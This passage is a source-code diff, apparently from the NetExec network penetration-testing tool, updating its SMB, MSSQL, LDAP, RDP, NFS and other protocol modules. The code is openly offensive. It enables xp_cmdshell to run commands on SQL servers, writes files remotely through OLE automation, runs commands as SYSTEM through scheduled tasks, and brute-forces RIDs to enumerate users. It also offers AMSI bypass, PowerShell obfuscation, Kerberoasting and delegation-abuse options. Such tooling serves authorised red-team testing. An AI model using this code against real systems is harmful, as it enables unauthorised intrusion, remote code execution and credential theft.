if gmsa_accounts:
self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")
+3 -1
View File
@@ -15,8 +15,10 @@ def proto_args(parser, parents):
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
+44 -1
View File
@@ -15,6 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
from impacket import tds, ntlm
from impacket.krb5.ccache import CCache
from impacket.dcerpc.v5.dtypes import SID
from impacket.tds import (
SQLErrorException,
TDS_LOGINACK_TOKEN,
@@ -141,7 +142,6 @@ class mssql(connection):
def print_host_info(self):
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
@reconnect_mssql
def kerberos_login(
@@ -417,3 +417,46 @@ class mssql(connection):
else:
_type = f"{key['Type']:d}"
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"
def rid_brute(self, max_rid=None):
entries = []
if not max_rid:
max_rid = int(self.args.rid_brute)
try:
# Query domain
domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""]
# Query known group to determine raw SID & convert to canon
raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""]
domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4]
except Exception as e:
self.logger.fail(f"Error parsing SID. Not domain joined?: {e}")
so_far = 0
simultaneous = 1000
for _j in range(max_rid // simultaneous + 1):
sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous
if sids_to_check == 0:
break
# Batch query multiple sids at a time
sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)]
raw_output = self.conn.sql_query(";".join(sid_queries))
for n, item in enumerate(raw_output):
username = item[""]
if username == "NULL":
continue
rid = so_far + n
self.logger.highlight(f"{rid}: {username}")
entries.append(
{
"rid": rid,
"domain": domain,
"username": username.split("\\")[1],
}
)
so_far += simultaneous
return entries
+46 -29
View File
@@ -6,13 +6,15 @@ class MSSQLEXEC:
self.mssql_conn = connection
self.logger = logger
# Store the original state of options that have to be enabled/disabled in order to restore them later
self.backuped_options = {}
def execute(self, command):
result = None
try:
self.logger.debug("Attempting to enable xp cmd shell")
self.enable_xp_cmdshell()
except Exception as e:
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
self.backup_and_enable("advanced options")
self.backup_and_enable("xp_cmdshell")
try:
cmd = f"exec master..xp_cmdshell '{command}'"
self.logger.debug(f"Attempting to execute query: {cmd}")
@@ -27,42 +29,57 @@ class MSSQLEXEC:
except Exception as e:
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
try:
self.logger.debug("Attempting to disable xp cmd shell")
self.disable_xp_cmdshell()
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
self.restore("xp_cmdshell")
self.restore("advanced options")
return result
def enable_xp_cmdshell(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def restore(self, option):
try:
if not self.backuped_options[option]:
self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.")
query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.")
except Exception as e:
self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}")
def disable_xp_cmdshell(self):
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def backup_and_enable(self, option):
try:
self.backuped_options[option] = self.is_option_enabled("show advanced options")
if not self.backuped_options[option]:
self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.")
query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
else:
self.logger.debug(f"Option '{option}' is already enabled.")
except Exception as e:
self.logger.error(f"Error when checking/enabling option '{option}': {e}")
def enable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def disable_ole(self):
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
def is_option_enabled(self, option):
query = f"EXEC master.dbo.sp_configure '{option}';"
self.logger.debug(f"Checking if {option} is enabled: {query}")
result = self.mssql_conn.sql_query(query)
# Assuming the query returns a list of dictionaries with 'config_value' as the key
self.logger.debug(f"{option} check result: {result}")
if result and result[0]["config_value"] == 1:
return True
return False
def put_file(self, data, remote):
try:
self.enable_ole()
self.backup_and_enable("advanced options")
self.backup_and_enable("Ole Automation Procedures")
hexdata = data.hex()
self.logger.debug(f"Hex data to write to file: {hexdata}")
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
self.logger.debug(f"Executing query: {query}")
self.mssql_conn.sql_query(query)
self.disable_ole()
self.restore("Ole Automation Procedures")
self.restore("advanced options")
except Exception as e:
self.logger.debug(f"Error uploading via mssqlexec: {e}")
+2
View File
@@ -29,4 +29,6 @@ def proto_args(parser, parents):
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
return parser
+11 -2
View File
@@ -69,7 +69,6 @@ class nfs(connection):
def print_host_info(self):
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
return True
def disconnect(self):
"""Disconnect mount and portmap if they are connected"""
@@ -171,6 +170,10 @@ class nfs(connection):
for share, network in zip(shares, networks):
try:
mnt_info = self.mount.mnt(share, self.auth)
self.logger.debug(f"Mounted {share} - {mnt_info}")
if mnt_info["status"] != 0:
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
continue
file_handle = mnt_info["mountinfo"]["fhandle"]
info = self.nfs3.fsstat(file_handle, self.auth)
@@ -225,7 +228,13 @@ class nfs(connection):
for share, network in zip(shares, networks):
try:
mount_info = self.mount.mnt(share, self.auth)
contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares)
self.logger.debug(f"Mounted {share} - {mount_info}")
if mount_info["status"] != 0:
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
continue
fhandle = mount_info["mountinfo"]["fhandle"]
contents = self.list_dir(fhandle, share, self.args.enum_shares)
self.logger.success(share)
if contents:
+20 -16
View File
@@ -22,6 +22,8 @@ from asyauth.common.credentials.kerberos import KerberosCredential
from asyauth.common.constants import asyauthSecret
from asysocks.unicomm.common.target import UniTarget, UniProto
from nxc.paths import NXC_PATH
class rdp(connection):
def __init__(self, args, db, host):
@@ -81,11 +83,6 @@ class rdp(connection):
connection.__init__(self, args, db, host)
# def proto_flow(self):
# if self.create_conn_obj():
# if self.login() or (self.username == '' and self.password == ''):
# if hasattr(self.args, 'module') and self.args.module:
def proto_logger(self):
import platform
if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
@@ -112,7 +109,6 @@ class rdp(connection):
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
return True
def create_conn_obj(self):
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
@@ -172,6 +168,7 @@ class rdp(connection):
return True
def check_nla(self):
self.logger.debug(f"Checking NLA for {self.host}")
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
@@ -379,18 +376,25 @@ class rdp(connection):
asyncio.run(self.screen())
async def nla_screen(self):
# Otherwise it crash
self.iosettings.supported_protocols = None
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser(f"~/.nxc/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
return
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = os.path.expanduser(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png")
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
def nla_screenshot(self):
if not self.nla:
+90 -24
View File
@@ -60,7 +60,7 @@ from dploot.triage.sccm import SCCMTriage
from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup
from time import time
from time import time, ctime
from datetime import datetime
from functools import wraps
from traceback import format_exc
@@ -159,6 +159,7 @@ class smb(connection):
self.bootkey = None
self.output_filename = None
self.smbv1 = None
self.is_timeouted = False
self.signing = False
self.smb_share_name = smb_share_name
self.pvkbytes = None
@@ -241,7 +242,7 @@ class smb(connection):
self.hostname = self.host
self.targetDomain = self.host
self.domain = self.targetDomain if not self.args.domain else self.args.domain
self.domain = self.targetDomain if self.args.domain is None else self.args.domain
if self.args.local_auth:
self.domain = self.hostname
@@ -258,6 +259,10 @@ class smb(connection):
except KeyError:
self.logger.debug("Error getting server information...")
# Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
@@ -266,9 +271,6 @@ class smb(connection):
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
try:
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"]
except Exception as e:
@@ -311,7 +313,22 @@ class smb(connection):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
return True
if self.args.generate_hosts_file:
from impacket.dcerpc.v5 import nrpc, epm
self.logger.debug("Performing authentication attempts...")
isdc = False
try:
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
isdc = True
except DCERPCException:
self.logger.debug("Error while connecting to host: DCERPCException, which means this is probably not a DC!")
with open(self.args.generate_hosts_file, "a+") as host_file:
host_file.write(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}\n")
self.logger.debug(f"{self.host} {self.hostname} {self.hostname}.{self.targetDomain} {self.targetDomain if isdc else ''}")
return self.host, self.hostname, self.targetDomain
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.logger.debug(f"KDC set to: {kdcHost}")
@@ -535,8 +552,16 @@ class smb(connection):
)
self.smbv1 = True
except OSError as e:
if str(e).find("Connection reset by peer") != -1:
if "Connection reset by peer" in str(e):
self.logger.info(f"SMBv1 might be disabled on {self.host}")
elif "timed out" in str(e):
self.is_timeouted = True
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
return False
except NetBIOSError:
self.logger.info(f"SMBv1 disabled on {self.host}")
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
@@ -554,15 +579,7 @@ class smb(connection):
timeout=self.args.smb_timeout,
)
self.smbv1 = False
except OSError as e:
# This should not happen anymore!!!
if str(e).find("Too many open files") != -1:
if not self.logger:
print("DEBUG ERROR: logger not set, please open an issue on github: " + str(self) + str(self.logger))
self.proto_logger()
self.logger.fail(f"SMBv3 connection error on {self.host}: {e}")
return False
except (Exception, NetBIOSTimeout) as e:
except (Exception, NetBIOSTimeout, OSError) as e:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
return False
return True
@@ -580,7 +597,7 @@ class smb(connection):
self.smbv1 = self.create_smbv1_conn()
if self.smbv1:
return True
else:
elif not self.is_timeouted:
return self.create_smbv3_conn()
elif not no_smbv1 and self.smbv1:
return self.create_smbv1_conn()
@@ -618,8 +635,21 @@ class smb(connection):
relay_list.write(self.host + "\n")
@requires_admin
def execute(self, payload=None, get_output=False, methods=None):
if self.args.exec_method:
def execute(self, payload=None, get_output=False, methods=None) -> str:
"""
Executes a command on the target host using CMD.exe and the specified method(s).
Args:
----
payload (str): The command to execute
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
methods (list): The method(s) to use for command execution
Returns:
-------
str: The output of the command
"""
if getattr(self.args, "exec_method_explicitly_set", False):
methods = [self.args.exec_method]
if not methods:
methods = ["wmiexec", "atexec", "smbexec", "mmcexec"]
@@ -752,7 +782,7 @@ class smb(connection):
if "This script contains malicious content" in output:
self.logger.fail("Command execution blocked by AMSI")
return None
return ""
if (self.args.execute or self.args.ps_execute):
self.logger.success(f"Executed command via {current_method}")
@@ -763,14 +793,29 @@ class smb(connection):
return output
else:
self.logger.fail(f"Execute command failed with {current_method}")
return False
return ""
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False):
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False) -> list:
"""
Wrapper for executing a PowerShell command on the target host. This still uses the execute() method internally, but
creates a PowerShell command together with possible AMSI bypasses and other options.
Args:
----
payload (str): The PowerShell command to execute OR the path to a file containing PowerShell commands
get_output (bool): Whether to get the output of the command (can be useful for AV evasion)
methods (list): The method(s) to use for command execution
force_ps32 (bool): Whether to force 32-bit PowerShell
Returns:
-------
list: A list containing the lines of the output of the command
"""
payload = self.args.ps_execute if not payload and self.args.ps_execute else payload
if not payload:
self.logger.error("No command to execute specified!")
return None
return []
response = []
obfs = obfs if obfs else self.args.obfs
@@ -801,7 +846,7 @@ class smb(connection):
self.logger.debug(f"domain: {self.domain}")
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
except IndexError as e:
if self.kerberos:
if self.kerberos or self.username == "":
pass
else:
self.logger.fail(f"IndexError: {e!s}")
@@ -903,6 +948,27 @@ class smb(connection):
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
return permissions
def dir(self): # noqa: A003
search_path = ntpath.join(self.args.dir, "*")
try:
contents = self.conn.listPath(self.args.share, search_path)
except SessionError as e:
error = get_error_string(e)
self.logger.fail(
f"Error enumerating '{search_path}': {error}",
color="magenta" if error in smb_error_status else "red",
)
return
if not contents:
return
self.logger.highlight(f"{'Perms':<9}{'File Size':<15}{'Date':<30}{'File Path':<45}")
self.logger.highlight(f"{'-----':<9}{'---------':<15}{'----':<30}{'---------':<45}")
for content in contents:
full_path = ntpath.join(self.args.dir, content.get_longname())
self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}")
@requires_admin
def interfaces(self):
"""
+12 -18
View File
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from time import sleep
from datetime import datetime, timedelta
class TSCH_EXEC:
@@ -60,17 +61,20 @@ class TSCH_EXEC:
def output_callback(self, data):
self.__outputBuffer = data
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = """<?xml version="1.0" encoding="UTF-16"?>
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
@@ -134,7 +138,6 @@ class TSCH_EXEC:
xml = self.gen_xml(command, fileless)
self.logger.debug(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
@@ -147,11 +150,6 @@ class TSCH_EXEC:
else:
self.logger.fail(str(e))
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
@@ -164,10 +162,6 @@ class TSCH_EXEC:
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
if self.__retOutput:
if fileless:
+10 -9
View File
@@ -1,24 +1,25 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction
def proto_args(parser, parents):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
self_delegate_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
@@ -34,6 +35,7 @@ def proto_args(parser, parents):
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
@@ -47,7 +49,7 @@ def proto_args(parser, parents):
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
@@ -69,7 +71,7 @@ def proto_args(parser, parents):
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction)
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
@@ -78,7 +80,7 @@ def proto_args(parser, parents):
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
@@ -86,7 +88,6 @@ def proto_args(parser, parents):
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
return parser
def get_conditional_action(baseAction):
@@ -101,4 +102,4 @@ def get_conditional_action(baseAction):
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return ConditionalAction
-1
View File
@@ -55,7 +55,6 @@ class ssh(connection):
def print_host_info(self):
self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...")
return True
def enum_host_info(self):
if self.conn._transport.remote_version:
-2
View File
@@ -72,8 +72,6 @@ class winrm(connection):
self.logger.extra["port"] = self.port
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
def create_conn_obj(self):
if self.is_link_local_ipv6:
self.logger.fail("winrm not support link-local ipv6, exiting...")
-1
View File
@@ -146,7 +146,6 @@ class wmi(connection):
self.logger.extra["protocol"] = "RPC"
self.logger.extra["port"] = "135"
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
def check_if_admin(self):
try:
Generated
+759 -712
View File
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -33,7 +33,7 @@ NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
python = "^3.10.0"
aardwolf = "^0.2.8"
aioconsole = "^0.6.2"
aiosqlite = "^0.19.0"
@@ -74,7 +74,7 @@ pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
build-backend = "poetry_dynamic_versioning.backend"
[tool.poetry-dynamic-versioning]
+2
View File
@@ -1,6 +1,7 @@
##### Check Generic Help Options
netexec -h
##### SMB
netexec smb TARGET_HOST --generate-hosts-file /tmp/hostsfile
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
@@ -212,6 +213,7 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
##### MSSQL
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute
##### MSSQL PowerShell
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32